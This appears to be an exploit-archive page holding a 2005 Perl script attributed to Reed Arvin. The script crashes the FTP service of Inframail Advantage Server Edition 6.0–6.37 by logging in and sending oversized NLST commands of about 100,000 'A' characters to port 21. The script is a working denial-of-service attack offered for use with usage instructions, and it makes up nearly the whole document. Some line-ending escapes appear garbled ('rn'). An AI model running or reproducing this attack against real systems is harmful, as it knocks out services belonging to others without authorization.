[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Inframail Advantage Server Edition 6.0 <= 6.37 (FTP) BoF Exploit
# Published : 2005-06-27
# Author : Reed Arvin
# Previous Title : Inframail Advantage Server Edition 6.0 <= 6.37 (SMTP) BoF Exploit
# Next Title : IA eMailServer Corporate Edition Version <= 5.2.2 DoS Exploit


#===== Start Inframail_FTPOverflow.pl =====
#
# Usage: Inframail_FTPOverflow.pl <ip>
#        Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
#########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER hellorn";

        sleep(1);

        print $socket "PASS motorn";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "rn";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "rn";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21n";
}
#===== End Inframail_FTPOverflow.pl =====

# www.Syue.com [2005-06-27]